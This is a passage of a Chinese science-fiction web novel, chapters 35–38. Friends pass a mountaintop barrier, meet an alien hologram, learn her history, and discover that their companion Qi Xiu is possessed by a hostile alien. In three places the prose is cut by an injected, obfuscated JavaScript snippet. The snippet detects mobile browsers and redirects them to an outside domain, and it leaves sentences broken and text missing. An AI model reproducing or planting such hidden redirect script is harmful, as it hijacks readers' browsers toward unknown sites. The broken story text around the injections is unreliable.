唐镜做了几个深呼吸,这才镇定下来,勉强朝齐修笑了笑,随即往后退了一步,跟他拉开了距离,顺势把手从他手掌里抽出来。 “先回屋子里去吧。”齐修拍拍她的肩膀,眼中闪过若有所思之意,“我想,我们还是按原计划,准备开始爬山。” 唐镜指了指那片空地:“那这怎么办?” 齐修:“等我们从山顶回来再说,这房子不会无缘无故消失,我倒要看看,接下来还会玩出什么花样!” 唐镜精神一振:“对,以静制动!” 齐修微微一笑:“也许等我们到了后山顶上的时候,就能解开谜团。” 唐镜回房间叫醒郑落落,告诉她,院子里的杂物房不翼而飞。 当郑落落确定唐镜不是跟她开玩笑时,一骨碌从床上跳下来,连外衣都忘了穿,直接冲到院子里,对着只剩下那片空地目瞪口呆。 直到唐镜把她拽回屋里,她还有些惊魂未定。 …… 三人匆匆吃完早饭,尽管大家都没什么胃口,可是都知道等会爬山,会非常消耗体力,还是都勉强吃了一些东西。 在准备出发前的间隙,唐镜给伊峰秋发了条微信,告诉他小屋和黑衣人都凭空消失的事情,问他昨晚有没有见到什么异状。 伊峰秋很快回微信过来,只是三个字“知道了”。 唐镜郁闷的把手机塞回兜里,这算什么回答。 …… 三个人每人背了一个登山包,拿了一把登山杖,走出老宅后门,第一缕阳光正照在身上,银蓝色的天空高远清透。 出了老宅后门,就已经是半山腰了,这里根本没有路,到处都是杂乱的野草、野生的灌木丛、纠缠的藤蔓。 晨风带着草木的气息,拂过脸颊。鸟鸣啾啾,却显得周围更加安静。 一开始,三个人都沉浸在这久违的野趣中,空气中不再有汽车尾气的味道,也听不见都市的喧闹,有种心旷神怡的感觉。 可是很快就没有心情欣赏周围的野地了,坡度越来越陡,灌木和藤蔓越来越多,深一脚浅一脚,像走在一团蓬松的渔网里。 三个人的呼吸,都开始变得有些粗重。 越往上走,越找不到落脚的地方,触目所及,都是高高低低的灌木。 齐修拿着把登山镐,挥镐劈开灌木,在前面开路,唐镜和郑落落拄着登山杖,跟在后面,有些近乎九十度垂直的陡坡,还要借助绳索才能爬上去。 …… 爬到山顶的时候,太阳已经开始西斜。 三人头发凌乱,从头到脚,沾满了泥土草叶,脸上全是汗,不停喘着粗气,就像是刚从蛮荒里走出来的三个野人。 不过这个时候,他们都已经没有心思关心彼此的形象,看着眼前的景象,怔在那里,甚至连酸痛都忘了。 可以说,哪怕这时候,有一艘宇宙飞船停在山顶,他们都不会这么吃惊! 山顶当然没有宇宙飞船,只有一片碧绿的草坪! 细嫩的草叶,仿佛刚被水洗过,洁净清新。 整片草坪,大概有篮球场大小,是一个完整的圆形。 在这片圆形草坪之外,就是凌乱的野草,丛生的灌木,高高矮矮的小树,和三人一路走来的情形没什么区别。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234663|181819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 草坪内外,完全是两个世界。 草坪外,就是无人踏足的野地,草坪之内,则是富豪人家,精心修剪的绿地。 也不知道过了多久,三人才把目光从草坪上收回来,面面相觑。 这山顶上,怎么会有这样的草坪? 看这草坪模样,明显是有人精心打理呵护。 唐镜突然心念一动,俯身捡了一块石头,用力往草坪方向扔过去。 她站的地方,距离草坪边缘,大概还有十二三米远。 石头在半空中划出一道弧线,往草坪中央落去,可是就在距离草坪还有两米多高的地方,石头突然弹起来,就像碰到了一个无形的屏障。 被弹飞的石头落到了远处的野草丛里。 唐镜呆呆看着草坪,脑海里浮现出夜探老宅时,那个被无形罩子罩住的圆桌和石凳,还有被齐修带去的幻境里,那同样被无形罩子罩住的两个女人。 此时,在整个草坪上方,显然也有一个无形的罩子,把草坪和外界隔离开来。 郑落落显然也想到了幻境中的那一幕,她慢慢走向前,在草地边缘,脚步被无形的屏障阻住,她伸出掌心,贴着无形的罩子,慢慢摩挲。 她闭上眼睛,喃喃道:“和幻境里面的那个罩子,手感一模一样,难道这里也是幻境吗?” 唐镜摇头:“不,这里不是幻境,这是真实的山顶!” 齐修沿着草坪边缘,慢慢走了一圈,仔细察看草坪和野地的那条分界线。 唐镜虽然没有去触摸这个无形的罩子,可是她敢肯定,这无形罩子,不仅跟那山峰顶上的罩子一样,而且还跟她和伊峰秋在齐卓宇院子里见到的罩子一样。 它们是不是都来自同一个地方? 唐镜脑海中忽然灵光一现,幻境里,峰顶的那个隐形罩子,可以用她和郑落落的掌纹和鲜血开启,那么其余的两个无形罩子,是不是也可以用这个办法开启? 这时候,齐修已经绕着草坪走了一圈,站回到唐镜身边。 郑落落也像大梦初醒一般,看着罩子,慢慢一步一步后退回来。 “会不会这个罩子,也需要我和落落的掌纹和鲜血才能开启?” 齐修摇摇头:“和幻境峰顶上的不一样,我没有看到可以放掌纹的印记。” 就在这时候,唐镜发现齐修手指上的黑玉指环,突然亮了一下,就好像阳光照在上面,反射出亮光。 不过,这闪亮,肯定不是太阳照在上面的缘故,因为齐修站的位置,阳光从他身体另外一侧照过来,黑玉指环在他身体阴影里,阳光根本照不到指环上。 随即,郑落落和齐修也发现了指环的异样,齐修举起右手,只见一道细细的黑色光线在指环里游走,越来越亮。 与此同时,那无形罩子和地面交接的地方,也有一条头发丝粗细的黑色光线亮起来。 “指环可以开启罩子!” 唐镜和郑落落异口同声叫道。 话音未落,齐修已经冲到罩子边,带着指环的手掌按向无形罩子。 黑玉指环碰到罩子的瞬间,罩子边缘那细细的黑色光线瞬间明亮,虽然是黑色光线,可是却亮到刺眼! 一亮之后又是一暗。 眼睛从极亮到极暗的一瞬间,什么都看不清楚,黑暗仿佛无穷无尽的潮水,霎时淹没一切。 就在这时候,唐镜忽然觉得一股劲风袭来,有人扑向她。 她下意识的想要闪避,可是鼻间闻到熟悉的男人气息,夹杂着淡淡烟草味,她立刻停下动作,任凭对方伸臂抱住自己。 是伊峰秋! 唐镜来不及想他为什么会出现在这里,黑暗又如潮水般瞬间褪的干干净净,四个人已经置身在绿草地中央! 可是与此同时,唐镜又觉脚下一空。 原来那些碧绿柔嫩的小草只是幻影,根本不存在,立足之处,原是无尽虚空! 四个人往下坠落,就像掉进了无底洞,耳边风声呼啸,眼前七彩光晕闪耀,一直下坠,一直下坠…… 36. 第 36 章 身体一直往下坠落,唐镜从最初的惊慌中慢慢平静下来,后背贴着伊峰秋的胸膛,隔着厚厚的衣服,也能感觉到他身体散发的热量,甚至能感觉到他有力的心跳声。 被他的双臂圈在怀里,即使不说一句话,也让她无比心安。 唐镜此时已经猜到,他应该是一直暗中跟着自己,直到山顶。以他的身手,自然不会让他们发现。 到了山顶以后,他暗中观察,发现无形罩子被开启,立刻就冲出来抱住唐镜,一起进了罩子里。 冷静下来以后,唐镜忽然觉得有些不对,按照物理规律,自己坠落的速度,应该是非常快,快到根本不会看清周围的情形。 可是,她分明看到,旁边郑落落瞪大的双眼,以及齐修看着她和伊峰秋时,微微扬起的眉毛。 四个人是在坠落,可是身周的空气,有一种粘稠感,这极大的减缓了下坠的速度,而这种粘稠,所带来的阻力,恰到好处,如果不注意,根本不会感觉阻力的存在。 有这种无形的阻力在,即使是从千米高空掉到实地,也不会给她们身体带来任何伤害。 显然,四个人都认识到了这一点,所以大家都变得越来越淡定,甚至郑落落都有心思开起玩笑来:“咦,小镜,你啥时会变魔术了?给我们玩大变活人啊。” 唐镜有些尴尬,不自在的挣了挣,想要挣脱伊峰秋的双臂,没想到他手臂反而又紧了紧。 齐修的目光一直停留在伊峰秋身上,似笑非笑:“原来伊兄也来了,怎么到现在才露面?” 周围静默了一下。 显然,两位大神都在打量对方。 眼前忽然一暗,那些七彩光晕瞬间消失,黑暗席卷而来,脚下一顿,已经踩到了实地,与此同时,周围再次明亮起来。 看到眼前情形,唐镜先是一怔,随即不由自主的揉了揉眼睛,以为自己是不是眼花了,因为眼前出现了一片翠绿草地。 篮球场大小,圆形的草地,和山顶上看到的一模一样。 只不过,等她回过神来,就发现,这片草地的外缘,不是那野草丛生的山顶,而是不断变幻的五彩光带。 草地中央,正上方,无数光带就像瀑布一样,从中间往四周倾泻下去,草地边缘就像盛满光的湖,永远不会满溢。 四个人站在草地边缘,上方流光如瀑,身后则是无边无际的光湖。 美丽的如梦如幻,让人都要喘不过气来。 也不知道过了多久,草地中央突然出现了一张圆形石桌,桌边坐着一个女人,朝他们微笑。 她的乌发,高高盘起在头顶,黑眸仿佛是浸润在清水里的宝石,五官没有任何瑕疵,秀美无双。 当她的目光看过来的时候,纵然是女人,也觉得心神摇曳。 “你就是齐卓宇的爱人,齐夫人!”郑落落失声叫道。 他们都看过那张照片,这个女人,和照片上一模一样! “你们终于来了……”女子朱唇轻启,虽然隔着十几米的距离,可是轻柔的声音就像是在耳边响起。 唐镜此时已经挣开伊峰秋的双臂,四个人并肩而立,面面相觑,心情复杂莫名,可想而知,在这里居然看到了齐卓宇迷恋的女子,那个神秘的隐形女子,这给四人带来极大的冲击。 要知道,齐卓宇的事情,距今都百多年了,可是面前这个女子,容颜依然和照片上一模一样! 无数疑团涌入脑海。 这里到底是什么地方? 她为什么会在这里? 齐卓宇又去了哪里? 郑落落最心急,直接向草坪中央走去,唐镜伸手想要拉住她,却拉了个空,三个人互相看了一眼,从对方眼里不仅看到了迷惑,还看到了警觉之意。 从齐夫人的那句话里可以听出,她应该一直在等着他们的到来。 不过,既来之则安之,唐镜不可能让郑落落一个人行动,她立刻跟在郑落落身后,向齐夫人走去。 齐修的动作,却比唐镜更快,已经追上了郑落落,伊峰秋则不动声色,和唐镜并肩向前。 郑落落忽然加快脚步,冲到桌边,大叫起来:“她、她不是真人,她只是一个全息影像!” 唐镜看得分明,郑落落边说,边伸出手,拍向齐夫人肩膀,手指在碰到肩膀的时候,毫无障碍的穿了过去。 果然不是真人! 可是,怎么会有这么逼真的全息影像? 就算郑落落叫破是全息影像,可是如果没看到她的动作,无论如何都不会相信,这个眉目含笑的女人,竟然只是全息投影! …… 四个人都到了桌边,看着依旧端着桌边,眉目含笑的齐夫人,她眼波流转,虽然知道她不是真人,可是接触到她的目光,依然让人心旌摇动。 她虽然是全息影像,可是却好像能知道四个人的举动,等他们走到桌边的时候,她的手指在桌面上虚点了几下。 地上缓缓升起四个圆凳,洁白莹润,宛若白玉铸造。 唐镜伸手摸了摸,触手温润,竟然真是一张可以坐的凳子,而不是全息投影! 眼前所见,完全超出了众人的认知水平,见所未见、闻所未闻! 等四个人都坐下来,齐夫人淡淡一笑:“只有带着齐家基因的人,再加上那枚黑玉指环,才能来到这里。” 唐镜恍然大悟,齐修和他的黑玉指环,才是开启无形罩子的钥匙! “你们看到的我,并不完全是全息影像,用地球的语言来描述,在你们没有出现的时候,她以量子态存在,当你们出现在这里的时候,她的存在形态就具化了。” 唐镜表示有些懵,看郑落落的表情,显然也比她好不到哪里去。 至于伊峰秋和齐修,这两个大神都是一脸了然,明显比唐镜和郑落落高出N个段位。 齐夫人继续娓娓道来:“或者说,她就像是我的一个身外化身,她所见,就是我所见,她所言,就是我所言。我把她留在这里,就是为了等待齐家后人的到来。” 身外化身,这个比喻唐镜听懂了,那么多修真小说,总算没有白看啊。 …… 齐夫人一边说,一边用修长白皙的手指,在圆桌上虚点几下。 只见整个圆桌开始闪动光泽,各种颜色的光斑在桌面上跳动,与此同时,一片全息投影的屏幕凭空出现在圆桌上方,足有影院屏幕大小。 这哪里是圆桌,分明是一个操作台! 唐镜和伊峰秋对视一眼,同时想到,不管是在齐卓宇院子里的那张圆桌,还是山峰顶上,两个女人中间的圆桌,会不会也是操作台? 随着齐夫人手指的动作,圆桌上方的屏幕,显现出一片广袤的星空,无数星星就如散落的宝石,熠熠生辉,在漆黑的空间背景里显得波澜壮阔。 在屏幕的中央,是一条星星组成的长河,横跨整个夜空。 “银河!” 郑落落脱口而出。 “银河系,是整个宇宙星系里面,最不可思议的一处所在。也是我们莫纳星人发明了空间折叠技术后,进入的第一个星系。” 齐夫人缓缓说道,与此同时,手指如飞,点击着桌面上的各色光斑。 外星人! 虽然唐镜在听了齐卓宇的故事后,脑洞大开,也想过齐夫人是外星人的桥段,不过当真正面对这个事实的时候,她还是有一种眩晕的感觉。 茫茫宇宙,无边无际,无始无终,唐镜相信,肯定有很多星球存在智慧生命。 可是,如果真在地球上,看到外星人,她还是有种不真实的感觉。 “在莫纳星上,我是一名狩猎者,这个职业,有点类似于你们地球上的赏金猎人,我去不同的星球探险,捕猎各种形态的生命,送回莫纳星换取莫纳币。” “各种形态的生命?”唐镜忍不住问道,“像我们地球人这样?” “地球人是一种碳基生命,这种生命形态,在宇宙住属于一种低级存在,你们的意识无法脱离身体存在,当肉身老化死去后,意识也会随之消失。” 齐夫人的语气很平静,可是唐镜心里却不是滋味。 她相信,任何一个地球人,被外星人这样点评,肯定高兴不起来。 “不过你们地球人有一个了不起的发明,你们可以把意识存储在工具里,当肉身死亡后,借助这些工具,前人的思想得以传承下去。” “文字和书本?”郑落落反应极快。 “你们的存储工具也在不断的进化,容量越来越大,存储的速度越来越快。”齐夫人继续说道。 “计算机。”郑落落继续道。 “可是你们的肉身,却没有继续进化,反而在整体质量上,呈现退化趋势,速度、敏捷、力量、健康和寿命,都比不上你们狩猎时代的先祖。” “我们进入工业时代以后,寿命越来越长!”郑落落反唇相讥。 “那是你们跟农耕时代相比的结果,”齐夫人平静的说,“农耕文明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那个时候,外星文明就来到地球了吗? 良久,齐修打破了沉默:“既然地球被列为禁地,你为什么又会来到这里?” 齐夫人淡淡一笑:“因为我们莫纳星发生战乱,当时我身受重伤,拼死跃迁,穿越黑洞,没想到居然到了地球,虽然摆脱了敌人,可是飞船能源耗尽,我自己也奄奄一息,就是在这种情况下,齐卓宇出现了。” 郑落落问:“齐卓宇救了你?还是你在利用他?” 齐夫人眼神变得复杂:“地球雄性是一个很奇怪的物种,我见到齐卓宇,第一时间就可以通过精神扫描,知道他心底最深处的欲念,借此塑造出最符合他想象的一个地球雌性。” “齐卓宇第一眼看到你的时候,就迷上了你,因为你完全符合他想象的极致,也是因为如此,所以只有他才能看到你?”郑落落恍然大悟。 “其实,我也可以通过影响其他人脑波的形式,让他们看到我,但是当时我伤势太重,能量不足,不想耗费太多,另外,我并不在乎别人能不能看到我。”说到这里,齐夫人轻轻笑了笑。 她这句话,解答了众人心中一直藏着的疑问,看手记的时候就觉得奇怪,既然她有这样的能力,为什么又只让齐卓宇看见她,以至于带来那么多麻烦。 郑落落问:“你,真的爱齐卓宇吗?” 齐夫人没有直接回答郑落落,反而提起了莫纳星:“我们莫纳星人,开始也分为雌雄两种性别,不过随着生命的不断进化,在很多年以后,我们的生命形式,发生了巨大的变化,由物质形式的存在,变成了一种能量形式。” “能量形式?” “用你们地球人的说法,类似于‘波’这样的存在,打个比方吧,如果把你们大脑里所有的记忆和信息反馈方式都上传到网络上,当你们的身体死亡以后,你们的记忆和思想还活跃在网络上,就相当于,虽然没有了□□,灵魂却依然存在。” 听齐夫人这么一解释,唐镜倒是想到了前段时间看的一则新闻,说是未来把人类的所有大脑都通过网络连在一起,人类可以在虚拟世界里,享受到各种极致的感官体验。 也就是说,你就是你的虚拟世界里的上帝,你只要脑波一动,就可以改天换地。 只不过,人类终究还是得从虚拟世界回到现实世界,因为意识寄存的这具身体,还是会饿、会老、会生病、会死去…… …… 37. 第 37 章 齐夫人继续说道:“当然,我们莫纳星人的这种能量形式,还不同于你们地球的网络虚拟信号,是一种更高级的生命存在形式。我们没有性别之分,我们不知道什么是爱情,也没有亲情、友情……” “那你们是为什么活着?活着的乐趣又在哪里?”郑落落忍不住问道。 “活着就是活着,需要理由吗?”齐夫人微笑起来,“我们不知道什么是乐趣,我们的一生,就是吞噬别的能量体,让自己强大,同时防止被别的能量体吞噬,换句话说,我们的一生,永远在战斗,要么更强大,要么死。” 唐镜听着有些不寒而栗。 “也许你们地球人无法理解这样的生活方式,可是,只有不停的战争,才能进化出更强大的生命,温室里面永远长不出参天大树。” “那你们,嗯,怎么繁衍后代?”郑落落好奇问道。 “在吞噬和战斗的过程中,会有一些能量体从母体中脱离,称为幼年能量体,若是足够幸运,它们就能继续成长为成年能量体。” “你们这样吞噬来吞噬去,会不会最终,有一个能量体吞噬了所有其余能量体,然后整个莫纳星系只剩唯一的能量体了?”唐镜好奇问道。 “有先见之明的莫纳星人意识到了这样的后果,所以在莫纳星人中分成了两派,一派认为,莫纳星人通过这样的方式,不断优胜劣汰,最后剩下来的那个莫纳星人,就是最强大的唯一,莫纳星系有唯一的强者就可以了。” 好吧,做为地球人,还真是无法理解这种想法。 就好比地球上所有人都死去,就能换得唯一的一个人的永生,这种永生,想想就觉得恐怖。 “还有另外一派,觉得莫纳星人不应该追求一个强大的唯一,而是应该向星系外发展,吞噬别的星系的能量,让莫纳星人在整个宇宙间开枝散叶。” 唐镜听到这里,觉得以她地球人的思维,倒是能理解这一派的想法,这不就是外星殖民嘛。 我们的征途,是星辰大海。 “当我们发明了空间折叠技术以后,第二派莫纳星人就开始陆续离开莫纳星系,去别的星系寻找能量,开始的时候,第一派莫纳星人并没有理会他们的离开,只顾着厮杀吞噬,但是很快,第一派莫纳星人发现了一个问题。” 齐夫人说到这里,停顿了一下,抬起头,看向屏幕上那无尽的星空,脸上露出怀念的神情。 “莫纳星人的离开,也意味着能量的减少,对吗?”伊峰秋说了一句话。 “不错,我们莫纳星人的这种能量存在形式很特别,你们地球人有各种各样的能量形式,光能、电能、热能、生物能等等,可是莫纳星人寻找了很久,也没有找到能转化为我们这种能量形式的物质,所以只能通过吞噬同类获得能量。” 齐夫人目光转向四人,“直到,先离去的莫纳星人,发现了地球。” 不知道为什么,被这样一双美丽的眼睛看着,唐镜却有种后背发凉的感觉,感觉自己就像一只任人宰割的蚂蚁。 “按照正常生命的进化路线,地球人本可以进化到更高级的生命形式,可是因为人性的弱点,你们从狩猎文明,进入到农耕文明,造成了生命的退化。” “人性的弱点?”郑落落忍不住翻了个白眼。 “你们会爱、会恨、会嫉妒、会羡慕、会哀伤、会痛苦、会憎恶……”齐夫人笑了笑,“在我们莫纳星人看来,你们把精力都花费在了这些情绪上,阻碍了对自身潜力的探索,生命不再往更高的存在形式进化。” “进化成你们莫纳星人那样?我不觉得你们的生活很有趣,不是杀同类,就是被同类杀,活成这样,算什么高级生命体。”郑落落又翻了个白眼。 唐镜也非常赞同郑落落的话,虽然释迦摩尼说过,有情皆苦,可是生命本来就是一一段旅程,我们欢乐,我们悲伤,我们愤怒,我们雀跃…… 这才是活着。 即使在外星人眼里,这种活法很低级,可是,对于地球人来说,这才是生活。 伊峰秋和齐修一直没说话,也没流露出明显的情绪,比起唐镜和郑落落,他俩显得非常淡定。 齐夫人朝唐镜和郑落落笑笑:“生存、繁衍、强大、攫取更多资源,这是所有生命的底层逻辑,地球人能站在食物链的顶端,也是靠这样的底层逻辑驱动,只是进化了上百万年的地球人,突然偏离了这条路径。” “因为我们进入了农耕文明?” “你们驯化了小麦,给生命提供更高产更稳定的能量来源,可是在我眼里,却是小麦驯化了你们,这种植物,只需要把少量后代提供给地球人做食物,就让自己的生命遍布全地球。” 听齐夫人这么一说,好像也有点道理。 郑落落:“为什么你们莫纳星人,会把地球列为禁地?” 齐夫人:“一万年前,去到地球的莫纳星人,尝试把地球上的一些能量,转化为可以供莫纳星人吞噬的能量,却不知道发生了什么事,地球上的莫纳星人,突然发回危险信号,随后就销声匿迹,失去了联系,从那以后,地球就被列为禁地。” 那时候的地球人,还处于刀耕火种的原始部落时期,在拥有星系穿越科技水平的莫纳星人面前,无疑于蝼蚁一般的存在。 一万年前,来到地球的莫纳星人,到底出了什么事情? 齐夫人继续说道:“当我来到地球后,开始是不屑于地球人的生命形式,可是后来,我却发现,情感,也许并非是生命的弱点,当我体会到强烈的情感时,我发现我的能量开始流动,没有吞噬外在能量,却越来越充沛。” “强烈的情感?难道,你、你、你爱上了齐卓宇?”郑落落惊讶道,“可、可你们莫纳星人不是没有性别吗?” “不止没有性别,还没有实体。”唐镜喃喃的跟了一句。 “那又怎样?”齐夫人淡淡一笑,“你们地球人,不也会爱上互联网上的虚拟人物吗,会为这些虚拟人物投入感情、时间、金钱。” 好吧,这句话无法反驳…… 当齐夫人说到齐卓宇的时候,眼里闪动着光泽,完全就是一个沉浸在爱情中的地球女人,以至于那一瞬间,四个人都忘了她是个没有性别,没有实体的外星人。 “我跟齐卓宇相处的时间越长,我就越能体会到越来越充沛的能量流动,这是一种强大和安全的感觉。可是我突然意识到,齐卓宇既然是地球人,那么,他就无法摆脱生老病死的过程,也就是说,我终究要失去他。” 生命就是一次次的离别。 “当我想到分离的到来,我体会到了害怕和痛苦,可是这种害怕和痛苦,却让我的能量愈加充沛,却也有一种失控的感觉,总之,是我完全陌生的一种状态。我不喜欢这种感觉,我要想办法,让齐卓宇和我一样,成为永生的生命体。” “那齐卓宇,愿意被你变成另外一种生命形态吗?” “当我爱上卓宇以后,我就把我的来龙去脉统统告诉了他,问他愿意不愿意接受这种改造。” “毫无疑问,他肯定同意了,他那么爱你。”郑落落说道。 “这种改造很危险,如果中间有一丝纰漏,他就会彻底消失,连一根头发都不会留下来,而且,我从来没有尝试过这种改造,我开始拿动物做实验,实验有成功也有失败,齐卓宇不准我用地球人做实验。” “你的改造,最后没有成功?”郑落落有些紧张。 齐卓宇确实是消失了,可是到底是变成了另外一种生命形式,还是因为失败,彻底烟消云散,谁都不知道。 四个人都在期待齐夫人的答案,可是她却没有直接回答郑落落的问题,而是说:“没有百分之百的把握,我是不会对卓宇进行改造的。当我恢复了全盛时期的状态,我离开齐家,去寻找莫纳星人在地球留下的踪迹。” “那些一万年前来到地球的莫纳星人?”伊峰秋扬了扬眉毛,问道。 齐夫人点点头,继续说道:“我在地球海拔最高的喜马拉雅山山顶,发现了莫纳星人开辟出来的一处空间,那也是一万年前,莫纳星人在地球上留下的第一个基地。” 喜马拉雅山山顶? 齐夫人手指在圆桌的光斑上点了点,桌面上方出现了三D全息影像,在冰雪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234665|181819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 覆盖的山巅,一道黑色的光如游走的蛇,所到之处,冰雪消融,地面倏然凹陷,随即,就出现了一个巨大的圆球形空间。 空间里面是高低不同、大小不一的各种透明光柱,小的不过手腕粗细,大的直径超过两米。 在光柱里面,悬浮着一串泡泡,有点像水里的气泡,不同颜色的光柱,气泡颜色也不同。 看到那些气泡,唐镜和郑落落同时对视一眼,她在梦里,就梦见过这样的泡泡,只不过梦里的气泡都是透明的,每个气泡里面还有一个人,而这里的气泡,有各种不同颜色,气泡里也是空空如也。 伊峰秋的神情变得凝重,盯着那些气泡,目光瞬也不瞬。 齐修站在唐镜的侧后面,她看不见他的表情,可是,不知道为什么,她的后背肌肉突然不受控制的绷紧了。 齐修身上,突然散发出一种无形的威压,这是一种无形的气场,看不见,却能感觉到,气氛骤然变得沉闷而压抑。 就好像夏天,暴雨来临前,阴云翻滚,又热又闷,让人窒息。 “呵呵呵……” 齐修突然发出笑声。 如果不是亲耳听到这笑声是从齐修嘴里发出的,唐镜一定会以为又来了个陌生人。 因为这笑声带着疯狂和得意,甚至还有一丝嚣张,完全不同于他平时,那种温文尔雅的感觉。 “原来基地在这里,原来他们把秘密藏在了这里,哈哈,想不到,你竟然能打开基地,真是不枉费我,潜伏在地球人身体里这么多年……” 齐修笑的很疯狂,可是他的双眸中,却没有一丝笑意,他本来琥珀色的眸子,越来越暗沉,犹如墨染…… 唐镜看着他的眸色,突然想起,当初在梵舍喝茶的时候,齐修琥珀色的双眸有一瞬间,也是变成了黑色,随即就恢复正常。 当时,她以为是自己眼花看错了,现在看来,并非是她看错了,而是他的眸子,确实会变色! 唐镜下意识退了一步,和齐修拉开距离。 与此同时,伊峰秋身体一转,已经站在唐镜身侧,几乎贴着她的身体,隔着两个人的衣服,她都能感觉到,他身体散发的热力。 他盯着齐修,神情越来越凝重。 齐修站在那里,依然如玉树临风,秀雅清俊,可是那双眸子中的黑色,仿佛在翻涌,就像是风暴来临前的夜空,深邃幽黑,似乎要把人的灵魂都吸进去。 为什么这双眸子如此眼熟! 唐镜脑海中如电光一亮,想起那架屏风上,浓墨流动,聚成双眼,虽然屏风上的眼睛,形状和大小,都和齐修截然不同,可是却都透着,无尽暗夜翻涌的感觉! 郑落落终于忍不住尖叫起来:“齐修,你怎么了!” 她毕竟和齐修认识多年,无法接受,只是这短短瞬间,为什么一个人突然变成了另外一个人! 郑落落边尖叫,边上前,似乎想要抓住齐修,问个清楚。 唐镜赶紧一把拉住她,不料却反而被她带着往前一个趔趄,肩膀一紧,伊峰秋已经揽住她,她则死死拉住郑落落,不让她靠近齐修。 郑落落语气已经带着哭音,朝齐修无力的伸出一只手臂:“你到底怎么了?为什么突然像是变了个人,呜呜……” 伊峰秋盯着齐修,目光冷峻:“你是什么?” 他这一句话说出来,唐镜和郑落落顿时面面相觑,看到彼此眼里的惊疑,他为什么会这么问齐修? 齐修没有说话,反而是齐夫人站起身,慢慢走向齐修,边走边说:“他是莫纳星人,他一路追杀我,想要吞噬我,从莫纳星追到地球。” 什么? 唐镜几乎不敢相信自己的耳朵! 齐修怎么突然变成了莫纳星人? 齐夫人继续说:“我跃迁到地球时,以我自身能量为饵,把他送入时空乱流,没想到,他竟然会用这种方式,隐匿在地球人的基因里!” 她停下脚步,和齐修面对面站立,凝视着齐修,双眸眸色也慢慢暗沉下来,越来越黑,如墨染。 两个人的眸子,都仿佛是无尽苍穹,黑色如火焰翻涌。 38. 第 38 章 “这到底是怎么回事?” 郑落落终于清醒了一点,大叫起来,看看齐修,又看看齐夫人,一脸抓狂的样子。 齐修没有说话,只是冷笑。 齐夫人:“他把他的能量转换为代码,写入到选定的地球人基因里,一旦接触到莫纳星人的能量,就能激活代码,改变地球人的基因表达方式。” 唐镜表示不明觉厉。 齐夫人耐心解释道:“换句话说,他就像个睡着了的灵魂,潜伏在这个身体里,当他找到我的时候,感应到我的能量波动,灵魂被唤醒,压制住这个身体本身的灵魂,成为身体的主人。” “啊?那齐修,齐修是不是死了?”郑落落这次是真哭出来了。 “也不能说死,只是被夺取了身体的控制权。” 郑落落瞪着齐修,咬牙切齿:“你这个该死莫纳星混蛋,为什么躲在他身体里!有种出来啊,出来我们单挑!” 齐修没有理会郑落落,只是看着齐夫人:“我既然已经知道了基地所在,哈哈,你难道还想保护这些低级的碳基生命吗?” 低级的碳基生命? 这是在说地球人了? “既然你看不起我们,那你干嘛还要躲在这个低级碳基生命的身体里?赶紧给我滚出来!”郑落落尖叫。 齐修目光一转,看向郑落落,双眸中墨色翻涌,无形的力量席卷而来,唐镜突然觉得胸闷欲呕,而首当其冲的郑落落,脸上立刻没了血色。 齐夫人低喝一声,也没见她什么动作,齐修身体突然晃了晃。 那种无形的力量瞬间消散。 齐修冷哼:“我会重启基地的!” “他为什么一定要找到那个基地?” 伊峰秋冷不丁问道,唐镜这时突然意识到,刚才齐修发出的无形力量,好像对伊峰秋没有丝毫影响。 齐夫人露出带着歉意的笑容:“一万年前的莫纳星人,发现地球人虽然是低级的碳基生命,可是如果把地球人从物质态转化为能量态,莫纳星人通过吞噬能量态的地球人得到的能量,比吞噬莫纳星人自己更好。” 唐镜有一种毛骨悚然的感觉,郑落落的嘴唇微微颤抖,只有伊峰秋,依然冷峻,看不出任何情绪波动。 “地球人是多么好的食物,他们还有强大的繁殖能力,能够给我们提供源源不断的能量,一万年前的莫纳星人,为什么要保护这些美味的食物?”齐修说道。 美味的食物?把地球人当做食物? 唐镜和郑落落虽然觉得恐惧,不过身为地球人,在听到这样的话后,愤怒立刻战胜了恐惧。 “你才是美味食物,你全家都是食物!”唐镜和郑落落同时脱口而出。 “齐修,你如果体会过地球人的感情,你就知道,只要能激发起充沛的感情,其实这才是我们真正的能量之源。” “可笑!我们莫纳星人,什么时候需要感情?地球人拥有感情,可是生命形态如此落后,如果无法获得永生,一切都毫无意义!”齐修冷笑。 “可是你却不得不靠着落后的生命形态维持存在。”齐夫人语气略带讥讽,“如果没有被我的能量波动激活,你永远只是一串代码,永远沉睡在这具身体的基因里!” 齐修眸色越来越深,宛如能吞噬一切的深渊,脸上浮起讥讽笑容:“可是,我知道你爱上了一个地球人,你要改造他,我就知道,你一定会留下你的能量分身,我只要在齐家人的血脉里,留下基因代码,总有一天,我会回来!” “你也推断出,我为了能有百分之百的把握改造卓宇,一定会去寻找莫纳星人前辈,留下的基地。”齐夫人脸上露出了然之意。 